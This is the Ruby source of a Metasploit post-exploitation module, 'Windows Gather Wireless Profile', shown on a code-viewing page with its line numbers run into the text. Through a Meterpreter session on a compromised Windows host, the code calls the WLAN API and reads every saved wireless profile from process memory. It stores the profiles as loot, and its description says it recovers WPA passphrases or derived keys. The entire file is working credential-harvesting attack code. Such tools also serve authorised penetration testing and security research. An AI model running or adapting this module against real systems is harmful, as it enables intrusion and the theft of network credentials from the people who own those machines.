Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/wlan/wlan_profile.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Report78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Windows Gather Wireless Profile',13'Description' => %q{14This module extracts saved Wireless LAN profiles. It will also try to decrypt15the network key material. Behavior is slightly different between OS versions16when it comes to WPA. In Windows Vista/7 we will get the passphrase. In17Windows XP we will get the PBKDF2 derived key.18},19'License' => MSF_LICENSE,20'Author' => ['theLightCosine'],21'Platform' => [ 'win' ],22'SessionTypes' => [ 'meterpreter' ],23'Compat' => {24'Meterpreter' => {25'Commands' => %w[26stdapi_railgun_api27stdapi_sys_process_attach28stdapi_sys_process_getpid29]30}31}32)33)34end3536def run37# Opens memory access into the host process38mypid = client.sys.process.getpid39@host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)40@wlanapi = client.railgun.wlanapi41wlan_info = "Wireless LAN Profile Information \n"42wlan_handle = open_handle43unless wlan_handle44print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")45print_error('On Windows XP this could also mean the Wireless Zero Configuration Service is turned off')46return47end48wlan_iflist = enum_interfaces(wlan_handle)4950if wlan_iflist.empty?51print_status('No wireless interfaces')52return53end5455# Take each enumerated interface and gets the profile information available on each one56wlan_iflist.each do |interface|57wlan_profiles = enum_profiles(wlan_handle, interface['guid'])58guid = guid_to_string(interface['guid'])5960# Store all the information to be saved as loot61wlan_info << "GUID: #{guid} Description: #{interface['description']} State: #{interface['state']}\n"62wlan_profiles.each do |profile|63wlan_info << " Profile Name: #{profile['name']}\n"64wlan_info << profile['xml']65end66end67# strip the nullbytes out of the text for safe outputting to loot68wlan_info.gsub!(/\x00/, '')69print_good(wlan_info)70store_loot('host.windows.wlan.profiles', 'text/plain', session, wlan_info, 'wlan_profiles.txt', 'Wireless LAN Profiles')7172# close the Wlan API Handle73closehandle = @wlanapi.WlanCloseHandle(wlan_handle, nil)74if closehandle['return'] == 075print_status('WlanAPI Handle Closed Successfully')76else77print_error('There was an error closing the Handle')78end79end8081def open_handle82begin83wlhandle = @wlanapi.WlanOpenHandle(2, nil, 4, 4)84rescue StandardError85return nil86end87return wlhandle['phClientHandle']88end8990def enum_interfaces(wlan_handle)91iflist = @wlanapi.WlanEnumInterfaces(wlan_handle, nil, 4)92pointer = iflist['ppInterfaceList']93numifs = @host_process.memory.read(pointer, 4)94numifs = numifs.unpack('V')[0]95interfaces = []96return [] if numifs.nil?9798# Set the pointer ahead to the first element in the array99pointer = (pointer + 8)100(1..numifs).each do |_i|101interface = {}102# Read the GUID (16 bytes)103interface['guid'] = @host_process.memory.read(pointer, 16)104pointer = (pointer + 16)105# Read the description(up to 512 bytes)106interface['description'] = @host_process.memory.read(pointer, 512)107pointer = (pointer + 512)108# Read the state of the interface (4 bytes)109state = @host_process.memory.read(pointer, 4)110pointer = (pointer + 4)111112# Turn the state into human readable form113state = state.unpack('V')[0]114case state115when 0116interface['state'] = 'The interface is not ready to operate.'117when 1118interface['state'] = 'The interface is connected to a network.'119when 2120interface['state'] = 'The interface is the first node in an ad hoc network. No peer has connected.'121when 3122interface['state'] = 'The interface is disconnecting from the current network.'123when 4124interface['state'] = 'The interface is not connected to any network.'125when 5126interface['state'] = 'The interface is attempting to associate with a network.'127when 6128interface['state'] = 'Auto configuration is discovering the settings for the network.'129when 7130interface['state'] = 'The interface is in the process of authenticating.'131else132interface['state'] = 'Unknown State'133end134interfaces << interface135end136return interfaces137end138139def enum_profiles(wlan_handle, guid)140profiles = []141proflist = @wlanapi.WlanGetProfileList(wlan_handle, guid, nil, 4)142ppointer = proflist['ppProfileList']143numprofs = @host_process.memory.read(ppointer, 4)144numprofs = numprofs.unpack('V')[0]145ppointer = (ppointer + 8)146(1..numprofs).each do |_j|147profile = {}148# Read the profile name (up to 512 bytes)149profile['name'] = @host_process.memory.read(ppointer, 512)150ppointer = (ppointer + 516)151152rprofile = @wlanapi.WlanGetProfile(wlan_handle, guid, profile['name'], nil, 4, 4, 4)153xpointer = rprofile['pstrProfileXML']154155# The size of the XML string is unknown. If we read too far ahead we will cause it to break156# So we start at 1000bytes and see if the end of the xml is present, if not we read ahead another 100 bytes157readsz = 1000158profmem = @host_process.memory.read(xpointer, readsz)159until profmem[/(\x00){2}/]160readsz = (readsz + 100)161profmem = @host_process.memory.read(xpointer, readsz)162end163164# Slice off any bytes we picked up after the string terminates165profmem.slice!(profmem.index(/(\x00){2}/), (profmem.length - profmem.index(/(\x00){2}/)))166profile['xml'] = profmem167profiles << profile168end169return profiles170end171172# Convert the GUID to human readable form173def guid_to_string(guid)174aguid = guid.unpack('H*')[0]175sguid = '{' + aguid[6, 2] + aguid[4, 2] + aguid[2, 2] + aguid[0, 2]176sguid << '-' + aguid[10, 2] + aguid[8, 2] + '-' + aguid[14, 2] + aguid[12, 2] + '-' + aguid[16, 4]177sguid << '-' + aguid[20, 12] + '}'178return sguid179end180end181182183